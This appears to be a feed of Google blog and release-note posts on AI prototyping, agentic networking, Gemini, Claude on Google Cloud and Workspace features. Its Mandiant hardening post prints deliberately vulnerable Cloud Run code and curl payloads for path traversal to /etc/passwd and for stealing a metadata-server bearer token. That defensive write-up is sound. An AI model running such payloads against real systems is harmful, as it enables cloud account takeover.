When you are solo-building, failure is cheap. Writing agentic code is like piloting a nimble jet fighter—if an AI agent misbehaves, you rewrite the prompt and instantly restart the server.

But as AI engineering leader Addy Osmani points out in our premiere of Emergent, unconstrained agentic orchestration inside an enterprise introduces an unpredictable blast radius. Addy recalls running ten parallel agents on a personal project, context-hopping and pushing code based purely on quick previews. The technical debt accumulated fast, breaking two apps catastrophically because the modifications weren't properly isolated.

Amplify that risk to the scale of YouTube. Its infrastructure handles billions of users on a robust, 20-year-old codebase. It is essentially a public utility; you cannot risk overloading it with experimental technical debt. Protecting a platform of this scale requires extensive, slow guardrails:

By the time you build a primitive demo through this pipeline, the underlying AI models have evolved, leaving your idea out of date. How do you move at lightspeed while minimizing systemic risk?

YouTube’s AI prototyping stack

Deepmind and former YouTube software engineer, Benji Bear, solved this puzzle not by accelerating reviews, but by changing infrastructure philosophy. He and his team built a prototyping stack — a unified design-to-code lifecycle platform that completely decouples rapid experimentation from mainline production servers. It systematically solves the two primary friction points of developer velocity.

Decoupling the data layer

Isolating a standalone app completely causes a "blank canvas" problem where you can't test prototypes against realistic conditions. To solve this, developers bootstrap their ideas using pre-built Google AI Studio templates. These templates hook into a proxy server set up on Google Cloud for prototype-approved read-only data. This instantly grants the prototype pre-authenticated, read-only API access to live metadata bundles (playlists, videos, channels) via strict tokens.

Developers get the technical accuracy of live production parameters without any ability to write back to, pollute, or crash core databases.

Live UI injection

When a concept requires true real-world validation, the stack offers client-side YouTube Extension wrappers. This wrapper acts as glue code, allowing developers to inject their experimental features directly into the actual, live production web surface of YouTube. Code-split chunk safeguards isolate this from production binaries, allowing prototype updates to deploy to a safe staging environment in minutes.

The result? YouTube went from taking multiple quarters to vet an idea to launching several successful prototypes — including YouTube Recap and Ask YouTube — straight to user research studies (UXR) in weeks.

Embrace throw-away code

Implementing this stack requires a profound psychological shift. Engineers are trained to treat code as permanent infrastructure, polishing and refactoring it until it’s pristine. But Benji’s core enterprise AI philosophy here is simple: Embrace throw-away code.

Google AI Studio prototypes are meant to be messy with some technical debt; their objective is to validate product-market fit using quantitative data. Trying to refactor a chaotic, AI-generated app into an enterprise codebase is an architectural trap that can create friction.

But because Google AI Studio builds your prototype directly onto a mirrored version of production infrastructure, you establish a highly accurate baseline from day one. You still discard the messy, AI-generated script, but when an idea proves successful, rewriting it for production becomes significantly faster, cheaper, and safely positioned later in the development lifecycle—giving you a verified blueprint to code against rather than a blank canvas.

Move fast without breaking things

The core realization here is that a 95% failure rate isn’t a bug — it is the strategy. We should design environments that encourage our teams to fail more frequently and safely.

AI has plummeted the cost of code generation. Consequently, our roles are shifting from syntax gatekeepers to system architects. Our job is to design the bridges, read-only sandboxes, and isolated pipelines that empower teams to test wild ideas without triggering catastrophic meltdowns.

The biggest risk isn't breaking a server with messy AI code; it's missing the technological moment because validation loops are too slow. By building structural constraints that make failure safe, you give your team the freedom to run at hyper-speed.

To see the full technical breakdown, interview clips with YouTube's core infrastructure engineers, and a look inside the Google AI Studio Proto-Stack, watch our premiere episode of Emergent on YouTube.

IDC: Why the right networking approach is foundational to agentic AI

2026-07-15T16:00:00+00:00

Editor’s note: Today we hear from IDC on the results of its 2026 AI in Networking Special Report Survey exploring the enterprises' concerns about networking infrastructure to support the rise of agentic AI in their organizations. The survey was sponsored by Google Cloud.

Enterprises are moving quickly on AI pilots, but the move from pilot to production remains uneven. While AI models remain important, IDC research indicates that the pilot-to-production bottleneck is primarily infrastructure-centric, with core networking concerns emerging as one of the leading drivers of AI project delays and abandonment. In IDC's 2026 AI in Networking Special Report Survey:

32.6% of respondents cite security concerns: As AI workflows become more distributed and autonomous, enforcing consistent security and governance becomes more difficult.
26.8% of respondents cite challenges in automation: Manual operations and fragmented controls can slow deployment and make AI environments harder to scale.
24.7% of respondents cite staff time and talent restrictions: Limited skills and operational bandwidth can constrain an organization's ability to move AI initiatives into production.

Agentic AI specifically heightens these concerns by introducing more distributed and dynamic interactions across applications, services, APIs, tools, and data sources. In production environments, these interactions often span different agent frameworks, model providers, clouds, open-source tools, SaaS APIs, and internal applications, expanding both the operational scope and the security and governance surface area.

Networking for operational control, security, and governance at scale

Networking is the primary enabler of agentic interactions and plays a foundational role for intracloud and intercloud network- and services-layer connectivity, end-to-end security, and consistent governance. In agentic systems, networking increasingly extends into tighter service-centric controls that govern how distributed services identify one another, communicate, and exchange data securely. While AI workloads in general are increasing east-west traffic demands, agentic AI adds an additional layer of complexity by creating dynamic interactions that require tighter policy, visibility, and control closer to the application workflow.

From an infrastructure perspective, networking is much more than just a connectivity function. It is part of the infrastructure platform control plane that applies policy-based controls, supports observability, and helps maintain consistent security and governance across an AI agent's activity. This is significant because framework-level controls alone become insufficient in environments where agents and services span different runtimes, clouds, deployment models, and operating domains.

That is why an infrastructure-level approach becomes key. It does not replace application frameworks or orchestration environments, but it provides broader and more consistent policy implementation across a complex architectural landscape. As agentic AI becomes more autonomous and distributed, organizations need these controls built in as part of the infrastructure to reduce fragmented observability, inconsistent policy application, and unmanaged shadow agent activities. From a cloud infrastructure standpoint, this is where cloud network services become strategically important.

Balancing act: A platform vs. best-of-breed approach

Agentic AI systems are inherently fragmented because of underlying distributed workflows. Enterprises are already navigating a rapidly evolving landscape of business requirements, open-source components, emerging protocol standards, and new architecture patterns. In this context, choices between best-of-breed point solutions and platform-based approaches should be strategic rather than ideological.

Best-of-breed capabilities may be necessary to address specific technical requirements. But it is also true that point solutions introduced across a distributed agentic AI landscape can create inconsistent policies, operational complexity, and governance gaps. IDC research reflects this tension. In IDC’s 2026 AI in Networking Special Report Survey, organizations remained divided between platform and best-of-breed preferences for AI workloads; among respondents who favored platforms, the main reasons cited were stronger security (32.9%), reduced complexity (27.7%), and faster deployment (24.2%).

In IDC's view, a balance is important. Platforms can provide a consistent operational and policy foundation for AI deployments, but at the same time, they need to be modular and extensible to allow the inclusion of best-of-breed functionality as part of the platform toolset. The right platform for agentic AI should be open, flexible, and able to evolve. It should support integration with third-party and open-source tools, allow insertions of needed security and observability functions, and adapt without complete architectural rework.

This is a period of technology disruption. Businesses must meet their AI objectives while carefully managing dynamic agentic AI systems. In this environment, networking not only remains a connectivity piece of the AI infrastructure but becomes foundational to how organizations establish operational control, apply policy consistently, and maintain end-to-end trust across agentic workflows.

As agentic AI systems continue to evolve, the demands they place are unlikely to be addressed through best-of-breed point solutions alone. Operationalizing agentic AI at scale will require organizations to leverage the right networking approach, supported by infrastructure platforms that are open, flexible, and extensible, enabling a cohesive and adaptable security and governance framework.

Message from the sponsor
The autonomous and non-deterministic communications of agentic applications pose challenges for which the infrastructure and governance models of the cloud-native era are not prepared. In the agent-native era, an infrastructure-led approach is required to enable agentic applications at scale in production with effective governance and observability. An extensible platform based on open standards is critical in enabling the agentic journey today and through its maturity. Learn about the infrastructure imperatives and open standards that make a viable agentic infrastructure here.

The Risk of Exposed Cloud Functions and How to Harden

2026-07-15T14:00:00+00:00

Written by: Corné de Jong

Introduction

Mandiant security assessments frequently identify publicly exposed serverless applications that lack authentication, often as a result of specific business requirements. Serverless deployments typically run custom-developed code that incorporates third-party packages, making them targets for a wide range of application-level attacks, including:

Local and Remote File Inclusion (LFI/RFI)
Command Injection

Successful exploitation of these vulnerabilities can grant an attacker full control over the underlying container instance. Such access can serve as a foothold that may ultimately lead to a full compromise of the victim’s cloud environment.

Based on lessons learned in customer engagements, in this blog post we describe attack scenarios and provide actionable guidance on how to secure serverless environments. While this analysis focuses on hardening strategies for Google Cloud Run services and functions that must remain publicly accessible, these principles apply universally to any public serverless deployment.

What are Serverless Applications?

Serverless applications, also described as Function-as-a-Service (FaaS), allow the deployment of individual blocks of code as microservices within a flexible, decoupled, and event-driven cloud architecture without the need to manage underlying infrastructure. These services enable applications and automations to scale automatically and deploy instantly, removing operational overhead. Serverless services underpin major e-commerce, media, payment processing applications, and AI usage.

The rapid expansion of generative AI adoption is a significant driver of increased serverless architecture use. AI workflows, including chatbot interactions, image generation, “vibe-coding”, and multi-step AI agents rely on serverless functions to complete tasks for users. This growth has made securing serverless environments a more pressing challenge for enterprise security teams.

Risks of Serverless Application Attacks

Publicly exposed serverless workloads can serve as an initial access point for threat actors. As noted, these services may contain vulnerabilities within the code, imported packages, or the underlying runtime environment.

Once an entry point is exploited, attackers typically attempt to escalate privileges or move laterally. Common techniques observed include:

Extracting secrets stored directly within the application code.
Reviewing application logic and sensitive data to identify further attack vectors within the environment.
Exfiltrating service account bearer tokens from the metadata server following successful Remote Code Execution (RCE).

Leveraging these compromised secrets or service accounts allows threat actors to pivot to adjacent systems and workloads, potentially resulting in a total environment takeover if proper hardening strategies are not in place.

Example Attack Scenarios

The following simplified scenarios illustrate how serverless functions can be compromised and how attackers pivot after achieving initial code execution.

Local File Inclusion (LFI)

In the following Cloud Run example, a Python/Flask function accepts user-controlled input to open a file without performing proper validation. This pattern is an example of a Local File Inclusion (LFI) vulnerability.

import functions_framework

@functions_framework.http
def hello_http(request):
    request_json = request.get_json(silent=True)
    request_args = request.args
    if request_json and 'file' in request_json:
        file = request_json['file']
    elif request_args and 'file' in request_args:
        file = request_args['file']
 
# VULNERABILITY: The 'file' parameter is used directly in open() 
# without validation, allowing arbitrary file access
    with open(file, 'r') as resp:
          filedata = resp.read()
    return 'local file data {}!'.format(filedata)

Figure 1: Vulnerable Python/Flask function accepting unvalidated user input to open files

This vulnerability allows an attacker to request sensitive files from the Cloud Run instance by using curl to send a POST request via the file parameter:

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "main.py"}'

Figure 2: curl POST request targeting the file parameter

The response provides the complete main.py source code. An attacker can analyze the code for:

Hardcoded secrets such as API keys, database credentials, or authentication tokens
Business logic flaws and additional injection points
Internal service endpoints and architecture details
Import statements revealing the technology stack and potential CVE exposure

Additionally, attackers can leverage standard ../ directory traversal sequences to retrieve sensitive system files:

curl -X POST https://cloudrun01-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd"}'

Figure 3: curl POST request leveraging directory traversal sequences

An LFI vulnerability allows an attacker to retrieve and fuzz various files directly from the container. Key examples include:

requirements.txt, package.json, go.mod: Used to identify installed packages and versions with known vulnerabilities.
.env files: Frequently contain sensitive environment variables or hard coded secrets.
Application configuration files: May contain database credentials, API keys, or service endpoints if not securely managed.
/etc/passwd, /proc/self/environ: Contains user information, environment variables.
Application logs: may contain auth tokens or PII data.

Best Practice: Never store secrets or credentials within the source code or local container files. Utilize a dedicated secrets management solution, such as Secret Manager.

Code Execution/Command Injection

In the following scenario, a Python function uses shell execution methods with unsanitized user input, allowing an attacker to execute arbitrary commands.

import functions_framework
import subprocess


@functions_framework.http
def hello_http(request):
  request_json = request.get_json(silent=True)
  request_args = request.args
  if request_json and 'input' in request_json:
      input = request_json['input']
  elif request_args and 'input' in request_args:
      input = request_args['input']
  result = subprocess.run(input, shell=True,capture_output=True, text=True)
  return format(result)

Figure 4: Python function utilizing shell execution with unsanitized user input

This allows an attacker to execute a subsequent curl request targeting the GCP metadata service to retrieve the service account’s bearer token.

The following request extracts the service account's OAuth 2.0 bearer token, which remains valid for 1 hour:

curl -X POST https://cloudrun02-abc.europe-west3.run.app/ -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"

Figure 5: Extraction of a GCP service account bearer token via a curl request

Once obtained, an attacker can use it on an attacker-controlled system to execute Google Cloud CLI commands. For example the CLOUDSDK_AUTH_ACCESS_TOKEN environment variable can be set using the stolen bearer token.

export CLOUDSDK_AUTH_ACCESS_TOKEN=”obtain bearer token”

Figure 6: Defining CLOUDSDK_AUTH_ACCESS_TOKEN environment variable

Attackers can then leverage Google Cloud Cloud CLI within the security context of the Cloud Run Compute service account. If deployed without best practices and thoughtful configuration controls, for example, if the Cloud Run service runs as the default compute service account with Editor permissions, this would be equivalent to a full GCP project takeover, and allow the attacker to:

Read/write/delete most GCP resources
Deploy new services and modify existing configurations
Access secrets and encryption keys
Exfiltrate data across all accessible storage systems
Establish persistent backdoors through new service accounts or SSH keys.

Hardening Recommendations

Mandiant recommends that organizations implement parallel approaches for effective serverless security:

Secure Software Development Lifecycle (S-SDLC): integrate security scanning, code review, least-privilege IAM into CI/CD pipelines before deployment and integrate continuous security testing;
Vibe Coding: Mandiant recommends multi-layered security enforcement for AI-generated code or "vibe coding." Organizations should isolate AI experimentation within dedicated sandbox environments and enforce strict data egress controls to protect production systems and internal data. Furthermore, development environments should be restricted to approved IDEs with human-in-the-loop capabilities, utilizing only verified plugins operating under least privilege to mitigate supply chain vulnerabilities. Finally, organizations must ensure this AI-generated software follows Secure Software Development Lifecycle (S-SDLC) controls while establishing clear internal guidelines regarding permitted use cases. Comprehensive security fundamentals for vibe coding are documented in detail within the Wiz Vibe Coding Security Fundamentals blog.
Compensating Runtime Controls: Implement the following defense-in-depth measures to limit and contain compromise even when application vulnerabilities exist;

Segregate Public Services

Host public-facing Cloud Run services consumed by untrusted external entities in a dedicated, isolated Google Cloud project. This ensures a compromise does not provide an immediate path to critical internal resources. The implementation of this 'Service Project' model is beyond the scope of this post; however, it is documented in detail within the secured serverless architecture blueprint.

Identity and Access Management (IAM)

Mandiant recommends using a custom service account for service authentication rather than the default Compute Engine service account, following the principle of least privilege. Grant only the specific permissions necessary for the Cloud Run function to operate, for example:

Cloud Storage Bucket Access: If the service only requires read access to objects from a Cloud Storage bucket, grant the Storage Object Viewer (roles/storage.objectViewer) role restricted to that specific bucket.
Secret Manager Access: If the service requires access to secrets, grant the Secret Manager Secret Accessor (roles/secretmanager.secretAccessor) role only to the individual secrets required. For further details on secret access from Cloud Run, refer to the GCP documentation on configuring secrets.

Layer 7 Application Load Balancer (ALB) Architecture

Restrict ingress traffic for serverless functions to internal only and use an external Layer 7 ALB to manage internet exposure. This provides:

Centralized Traffic Management: Granular control over headers and SSL policies.
Cloud Armor Integration: Web Application Firewall (WAF) support to harden applications against vulnerabilities such as Local/Remote File Inclusion (LFI/RFI) and Server-Side Request Forgery (SSRF).
Traffic Shaping: Implementation of rate limits and request limitations to prevent abuse.
Enhanced Visibility: Robust logging and log-forwarding capabilities for security monitoring.
Identity-Aware Proxy (IAP): integration support for scenarios requiring specific identity-based authentication for internal users.

Web Application Firewall (WAF) — Cloud Armor

Cloud Armor provides WAF protections that can be integrated with the Load Balancer to filter malicious traffic. The following examples demonstrate how to configure Cloud Armor security policies to block the specific local file inclusions, remote code execution and traversal attacks previously outlined.

Local File Inclusion

The lfi-v33-stable preconfigured WAF rules can block common local file inclusion attacks (local file inclusion reference).

evaluatePreconfiguredWaf('lfi-v33-stable', {'sensitivity': 3})

Figure 7: Cloud Armor lfi-v33-stable WAF rule configuration

Blocking a path traversal request ../../../etc/passwd resulting in a 403 forbidden:

curl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d '{"file": "../../../etc/passwd}'
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

Figure 8: Verification of Cloud Armor blocking path traversal request, resulting in a 403 forbidden

Remote Code Execution

The rce-v33-stable preconfigured WAF rules can block remote code execution attempts (remote code execution reference).

evaluatePreconfiguredWaf('rce-v33-stable', {'sensitivity': 3})

Figure 9: Cloud Armor rce-v33-stable WAF rule configuration

Blocking the remote code execution request from the previous example results in a 403 forbidden:

curl -X POST https://exampleabc01.com -H "Contencurl -X POST https://exampleabc01.com -H "Content-Type: application/json" -d "{\"input\": \"curl 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' -H 'Metadata-Flavor: Google'\"}"
<!doctype html><meta charset="utf-8"><meta name=viewport content="width=device-width, initial-scale=1"><title>403</title>403 Forbidden

Figure 10: Verification of Cloud Armor blocking Remote Code execution, resulting in a 403 forbidden

Serverless Architecture Controls

Hardening Cloud Run services is only one part of a secure architecture. Because these services often connect to other Google Cloud resources, a single compromise can expose additional services. Implementing defense-in-depth is critical. Specifically, when using direct VPC egress or VPC Access connectors, use VPC Service Controls to restrict lateral movement and exfiltration through granular access policies.

Secure Software Development Lifecycle (S-SDLC)

While the previously outlined hardening strategies are critical, the ideal standard remains the proactive identification of vulnerabilities during the initial development stages. A deep dive into "Shift-Left" security is beyond the scope of this analysis, which focuses on mitigating risks within existing code. However, a Secure Software Development Lifecycle (S-SDLC) remains a fundamental principle. Robust code validation and continuous security testing are essential to neutralize threats before serverless functions are published externally.

Cloud Run Threat Detection

Beyond the hardening recommendations outlined in this post, Google Cloud Security Command Center (SCC) provides built-in services to detect control plane attacks against Cloud Run resources. These include detectors for credential access, reconnaissance, and the execution of scripts or reverse shells. The Cloud Run Threat Detection service is available for Premium and Enterprise tiers.

Conclusion

Serverless applications drive agility and rapid business value. While "vibe-coding" has made it easier than ever to deploy code, this breakneck speed demands that teams integrate security early in the development lifecycle, move beyond default configurations, and prioritize a defense-in-depth strategy centered on identity and architecture.

Acknowledgements

This analysis would not have been possible without the assistance of Ischa Rijff, Phil Pearce, and Juraj Sucik.

Jak projektujemy pomocne narzędzia AI z myślą o bezpieczeństwie młodych użytkowników

2026-07-15T14:00:00+00:00

Wektorowa grafika z logo Gemini w centrum, połączonym liniami z różnymi elementami cyfrowymi i ikoną tarczy ochronnej, utrzymana w minimalistycznym stylu.

Workspace Release Notes — July 15, 2026

2026-07-15T07:00:00+00:00

Google Drive API

Feature

Generally Available: The fileContentChangeBehavior field on the approvals resource is now generally available.

This field allows you to determine the behavior of an approval when the file content is changed while the approval status is IN_PROGRESS. You can set this field through the start method on the approvals resource.

Google Workspace Events API

v1beta

Feature

Developer Preview: Subscriptions to all Google Chat events in a Google Workspace organization (customer-level subscriptions) are now available as part of the Developer Preview Program.

Using customer-level subscriptions, Google Chat apps can monitor space and user events across an entire Google Workspace organization without the app being a member of every space.

Customer-level subscriptions support the following new authorization scopes (requiring service account configuration and administrator approval):

https://www.googleapis.com/auth/chat.app.all.spaces.readonly: To see space metadata.
https://www.googleapis.com/auth/chat.app.all.memberships.readonly: To see all space memberships.
https://www.googleapis.com/auth/chat.app.all.messages.readonly: To see all messages and reactions.
https://www.googleapis.com/auth/chat.app.all.users.readstate.readonly: To see read states of all users.

To learn more, see Subscribe to all Google Chat events in a Workspace organization and Customer subscription limitations and delivery behaviors.

Cloud Release Notes — July 15, 2026

2026-07-15T07:00:00+00:00

Apigee hybrid

Announcement

v1.15.6

On July 15, 2026 we released an updated version of the Apigee hybrid software, v1.15.6.

For information on upgrading, see Upgrading Apigee hybrid to version v1.15.6.
For information on new installations, see The big picture.

Security

Various security and CVE fixes are included in this release.

It's not too late to get Pixel Care+ for your Pixel 9 or 10.

2026-07-14T22:00:00+00:00

From July 13 to August 2, sign up for Pixel Care+ to get accidental damage coverage and $0 battery and screen repairs.

The Met and Google Arts & Culture celebrate 15 years of innovation

2026-07-14T20:00:00+00:00

The Met Prototypes & Play

Google named a Leader in the 2026 IDC MarketScape for Worldwide Foundation Model Software

2026-07-14T18:00:00+00:00

For years, we’ve built with a clear priority: putting the practical needs of the enterprise first. Long before generative AI dominated the headlines, we were focused on building the global infrastructure, security frameworks, and data platforms that power the world's largest organizations. We’ve always believed that technology is only as good as its reliability, security, and predictability in production.

By anchoring our frontier research to this enterprise foundation, we can deliver models built specifically for business impact. We believe that approach is why Google has been named a Leader in the IDC MarketScape: Worldwide Foundation Model Software 2026 Vendor Assessment1. We believe this placement highlights our history of turning cutting-edge frontier research into secure, production-grade systems that developers can deploy at scale.

We believe Google’s position as a Leader highlights the exact momentum we are seeing in the market. We believe this placement validates the unique strength of our integrated, first-party AI stack.

By translating Google DeepMind’s continuous pipeline of fundamental research into production-grade business products, we unite our robust infrastructure and foundation model software to work together seamlessly as a single, unified solution.

Gemini Enterprise: A unified system for the agentic era

A great foundation model is only as valuable as an organization's ability to safely put it to work. In the enterprise, that value is realized when models are given the tools, memory, and agency to act as autonomous partners – moving from simple prompt-and-response text to dynamic agents that can execute complex business workflows.

Gemini Enterprise serves as this end-to-end system. It brings our most powerful developer capabilities and user-facing tools together into a single architecture, featuring the Gemini Enterprise app as the front door for everyday business teams to interact with AI, and the Gemini Enterprise Agent Platform for developers to orchestrate them behind the scenes.

Agent Platform abstracts away the underlying complexity of how technical teams build, scale, govern, and optimize these agents – whether they are handling customer-facing workflows or managing internal operations. Any agent engineered on the platform can be instantly surfaced in the Gemini Enterprise app, giving your workforce immediate access to secure, custom-built tools. Because rigorous governance, enterprise security, and cryptographic identity are baked into the foundation by default, organizations can stop worrying about managing technological risk and start focusing entirely on driving agent-led business outcomes.

Powered by Gemini

Our latest models are built specifically to orchestrate and execute complex, multi-step actions. At I/O this year, we kicked off the Gemini 3.5 series with the release of Gemini 3.5 Flash. It delivers intelligence on multiple dimensions at speeds you have come to expect from the Flash series. It’s ideal for tackling long-horizon agentic tasks. Google DeepMind engineered these models from the ground up using our purpose-built AI infrastructure. This unique co-design of the model and hardware allows us to train deeper reasoning capabilities faster and more efficiently with every new generation.

Developers can build agents using Gemini 3.5 Flash on the Gemini Enterprise Agent Platform, or use it in your projects in Google AI Studio and Antigravity.

Business users can use Gemini 3.5 Flash in the Gemini Enterprise app to help discover, create, and use the best of Google AI in their workflows starting today.

Get started

Download the IDC MarketScape: Worldwide Foundation Model Software 2026 Vendor Assessment excerpt to learn why organizations are choosing Google Cloud.

Explore Gemini Enterprise today, or speak to your Google Cloud account representative to schedule a hands-on technical workshop.

^{1. IDC MarketScape: Worldwide Foundation Model Software 2026 Vendor Assessment, Doc #US54427726, July 2026}^{IDC MarketScape vendor analysis model is designed to provide an overview of the competitive fitness of technology and suppliers in a given market. The research methodology utilizes a rigorous scoring methodology based on both qualitative and quantitative criteria that results in a single graphical illustration of each supplier’s position within a given market. The Capabilities score measures supplier product, go-to-market and business execution in the short-term. The Strategy score measures alignment of supplier strategies with customer requirements in a 3-5-year timeframe. Supplier market share is represented by the size of the icons.}

New refinement capabilities allow custom editing with Help me write in Gmail

2026-07-14T17:28:59+00:00

Users can now edit and revise their email drafts in Gmail via the prompt bar, using custom refine instructions in Help me write. Previously the refines were limited to preset options like Polish, Formalize, and Shorten. Now if your first draft isn’t quite perfect, you can provide a precise follow-up prompt in your own words to further refine it, and even undo or redo any edits you make.

Whether you need to add a missing detail to the second line or include a deadline for your request, simply type the instruction and Gmail will instantly update the draft for you.

Getting started

Admins: This feature is available by default if both Gemini for Workspace in Gmail is enabled and Workspace Intelligence access to Gmail is enabled.
End users: This feature is available by default. Visit the Help Center article to learn more about drafting emails with Gemini in Gmail.

Rollout pace

Rapid Release and Scheduled Release domains: Rolling out now, with expected completion by July 20, 2026

Availability

Business: Business Starter, Standard, and Plus
Enterprise: Enterprise Starter, Standard, and Plus
Consumer: Google AI Plus, Pro, and Ultra
Other Editions: Frontline Plus
Education Add-ons: Google AI Pro for Education
Other Add-ons: AI Expanded Access

Resources

Gmail Help: Draft emails with Gemini in Gmail

Claude at scale on Google Cloud: Frontier AI, built for enterprise production

2026-07-14T16:00:00+00:00

Running frontier AI in production is demanding — accelerators to manage, latency to hold steady across continents, regulated data to keep in-region, and long-context requests to serve reliably. Claude on Google Cloud is built for exactly this.

Like Monet and water lilies, frontier models and the enterprise platforms are often better together. In our case, Claude brings the reasoning, and Google Cloud brings the managed infrastructure, global reach, and compliance posture that enterprises already run on. Calling Claude becomes operationally identical to calling any other Google Cloud service — same Identity and Access Management (IAM), same VPC Service controls, same observability — so teams are able to spend their time building features instead of running inference infrastructure.

This post walks through what Claude on Google Cloud delivers in production across four areas:

Managed infrastructure that gives engineers their time back
Global endpoints that hold latency low, and uptime high for a worldwide user base
Security and data-sovereignty controls inherited straight from Google Cloud
Serving-layer features that keep cost and performance optimized at scale.

Managed infrastructure that frees engineering time

Claude on Google Cloud runs on fully managed infrastructure, so enterprise teams ship features instead of building clusters. Compute provisioning, auto-scaling logic, load balancing, and failover at frontier-model scale are handled by the platform — work that would otherwise occupy multiple teams full-time.

Claude is available through Agent Platform's Model Garden as a Model-as-a-Service offering, ready to use over standard REST / JSON over HTTP/1.1 or HTTP/2 endpoints. Invoking Claude is operationally identical to invoking any other Google Cloud service: the same IAM policies, the same VPC controls, and the same observability stack via Cloud Logging and Cloud Monitoring.

Serving Claude takes a few lines of Python using the AnthropicVertex client:

code_block: <ListValue: [StructValue([('code', 'from anthropic import AnthropicVertex\r\n\r\nclient = AnthropicVertex(\r\n project_id="your-project-id",\r\n region="us"\r\n)\r\n\r\nmessage = client.messages.create(\r\n model="claude-opus-4-8",\r\n max_tokens=1024,\r\n messages=[{"role": "user", "content": "Analyze this system architecture."}]\r\n)'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f7a7bf0c0d0>)])]>

The same AnthropicVertex client handles prompt caching, tool use, structured outputs, streaming, and adaptive thinking; for batch inference, use Vertex AI Batch Prediction. Authentication uses Application Default Credentials; requests automatically inherit your project's IAM and VPC configuration.

Global reach with consistent latency and built-in failover

Serving a worldwide user base from a single endpoint produces high tail latency and a single point of failure. Most enterprises can't replicate inference infrastructure across continents while keeping performance consistent.

Agent Platform exposes three endpoint types for Claude, each solving a different production requirement:

Global endpoints route requests to a region with available AI compute capacity. For example, if us-central1 is capacity-constrained, traffic redirects to europe-west1 or another region with available capacity. That’s automatic failover and geographic load balancing without application-side routing logic. Global endpoints are ideal for maximum availability and lowest cost.
Regional endpoints like us-east5 or europe-west1 keep prompts, completions, and intermediate state inside a specific geographical boundary, making it ideal for low latency and data-residency requirements.
Multi-region endpoints give U.S. or EU data residency without single-region dependency. They dynamically route across regional endpoints providing built-in resilience against regional outages and capacity constraints.

The diagram below shows how applications reach Claude through these endpoint types, and how the Agent Platform serving layer routes traffic to the Compute AI clusters across regions:

Serving Claude Models From Regional & Global Endpoints

Serving Claude Models From Multi-Region Endpoints

Serving Claude Models From Regional Endpoints

Enterprise security and data sovereignty built in

Regulated workloads — financial services, healthcare, and government — get enterprise-grade security and data sovereignty without trading compliance for convenience, and without re-engineering the hardest layer to control: inference, where prompts, completions, and intermediate state all flow through the serving stack.

Claude on Agent Platform inherits Google Cloud's full security posture. FedRAMP High and HIPAA compliance enable deployment in government, healthcare, and financial services environments. VPC Service Controls let organizations define a perimeter around Agent Platform resources, preventing data exfiltration. IAM-native access control governs Claude endpoints with the same roles and policies that protect every other Google Cloud resource — no separate API keys to manage or rotate. Cloud Logging and Cloud Monitoring provide near real-time visibility into token usage, error rates, latency, and quota consumption.

Combined with the regional and multi-region endpoints above, this gives regulated customers a path to running frontier AI in production without re-auditing their compliance posture.

Optimized for cost and performance at scale

In production, cost and performance drive every architectural decision. Getting both right requires capabilities from two layers: Claude's native model features, and Google Cloud's serving infrastructure. Agent Platform supports both, so teams can optimize across the stack without managing them separately.

Claude-native capabilities, fully supported on Agent Platform

These features are built into Claude and available on Agent Platform without any additional configuration:

Prompt caching stores and reuses shared prefixes — long system prompts, legal documents, codebases — reducing request latency by up to 80% and cost by up to 90%.
Streaming responses over server-sent events deliver tokens as they are generated, critical for chat interfaces and coding assistants where perceived latency matters.
Extended and adaptive thinking lets Claude dynamically determine when and how much to reason through complex, multi-step problems — and allows users to dial the thinking effort directly, for example to control cost. Optimized for use cases like advanced code generation, mathematical reasoning, and multi-document analysis.
Extended context windows up to 1M tokens (for Claude Opus 4.6,Sonnet 4.6 and newer models) enable long-document analysis, large codebase reasoning, and multi-turn conversations at depth.

Google Cloud serving infrastructure

Agent Platform adds its own serving-layer capabilities on top of Claude's native features:

Batch prediction handles large-scale offline workloads — document classification, content moderation, bulk summarization — asynchronously at lower priority and reduced cost.
Provisioned throughput reserves dedicated inference capacity for mission-critical workloads, isolating them from public traffic and ensuring predictable performance during peak demand.
Memory management and scheduling for long-context requests is handled at the infrastructure layer,.

Together, these two layers give teams the full range of optimization levers — from model-level efficiency to infrastructure-level capacity control — on a single, unified platform.

From inference to agents

The same infrastructure that serves Claude inference powers the agent layer of Agent Platform on Google Cloud. The build-and-register flow has three steps:

Build with Claude. Claude is well-suited as an orchestration backbone — its extended context window, native tool use, and adaptive thinking make it effective at planning multi-step tasks and delegating to sub-agents. Pick Claude Opus, Sonnet, or Haiku from the Model Garden, then build with the Agent Development Kit (ADK) — code-first in Python, Go, Java, or TypeScript — deploy to Agent Runtime, Cloud Run or Google Kubernetes Engine.
Deploy the Agent to a Runtime. Depending on your use case, select Agent Runtime, Google Kubernetes Engine or GKE Agent Sandbox to run your deployed agents.
Interoperate over A2A. The Agent2Agent protocol runs at 150+ organizations, letting a registered Claude-powered agent delegate tasks to agents from SaaS and other service providers.

The result: a planning agent built on Claude can orchestrate sub-tasks across the broader agent ecosystem, under unified IAM, fully auditable, on the same infrastructure that serves the underlying inference.

Start building

Open the Agent Platform console, enable Claude in the Model Garden, and make your first API call with the AnthropicVertex SDK. Add prompt caching, provisioned throughput, and other features as your workload demands. When you're ready to go agentic, learn more about Claude on Agent Platform.

Reach out to your Google Cloud sales representative to discuss bringing Claude into your production environment at scale.

Celebrating 25 years of visual search innovation

2026-07-14T16:00:00+00:00

Google Images logo surrounded by illustrations of people searching for different images

Our largest solar and battery storage project ever

2026-07-14T16:00:00+00:00

Solar panels, an American flag, and a sign reading "Made in Arkansas"

Improvement to in-room problem reporting for Google Meet hardware

2026-07-14T15:32:39+00:00

We’ve also updated user-side feedback options to replace generic reporting with structured actionable feedback making it easier and more intuitive for room participants to report problems.

Redesigned user interface

The new feedback menu on Google Meet hardware now features responses that are tailored to the reporting context (In-Call, Out of Call, Live stream). These new feedback options collect better details, making it easier for admins to understand and troubleshoot the issue.

In-Call Feedback: Users are presented with call specific options to report a problem , like “Can’t see others” or “Poor audio or video quality.”

